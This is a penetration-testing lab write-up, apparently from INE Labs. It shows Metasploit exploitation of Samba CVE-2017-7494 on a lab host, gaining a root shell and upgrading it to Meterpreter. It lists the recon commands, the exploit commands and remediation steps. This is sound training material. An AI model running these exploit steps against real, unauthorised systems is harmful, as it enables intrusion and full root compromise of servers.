cd ..
2025-11-13 / Log: vulnerable_file_sharing_service

Vulnerable File Sharing Service

Host: INE Labs Diff: [EASY]
#Samba#is_known_pipename#CVE-2017-7494#Metasploit#Meterpreter#Linux

Vulnerable File Sharing Service

Classification: Host & Network Penetration Testing / The Metasploit Framework
Target: demo.ine.local (192.199.60.3) — Debian 8.11, Samba
Objective: Get a shell by exploiting the file-sharing service.

1. Executive Summary

The target exposes a Samba file-sharing service vulnerable to is_known_pipename (CVE-2017-7494) — it loads a malicious shared library uploaded to a writable share. Exploiting it yields a root command shell, which we upgrade to Meterpreter.

2. Recon

ping -c 4 demo.ine.local
db_nmap -sV 192.199.60.3
db_nmap -sV -sC -p445 192.199.60.3

Ping target

MSF global variables

Nmap scan (1)

SMB default-script scan (2)

Samba version (3)

3. Exploitation

use exploit/linux/samba/is_known_pipename
set RHOSTS 192.199.60.3
run

A root command shell opens.

is_known_pipename — root shell

4. Upgrading to Meterpreter

background
sessions -u 1
sessions 2

Upgrading the session (1)

Meterpreter session (2)

sysinfo    # Debian 8.11
getuid     # root

Root Meterpreter session

5. Remediation Recommendations

  1. Patch Samba (CVE-2017-7494) and set nt pipe support = no where feasible.
  2. Remove writable/guest-writable shares that allow uploading and loading modules.
  3. Run Samba with least privilege and expose it only to trusted networks.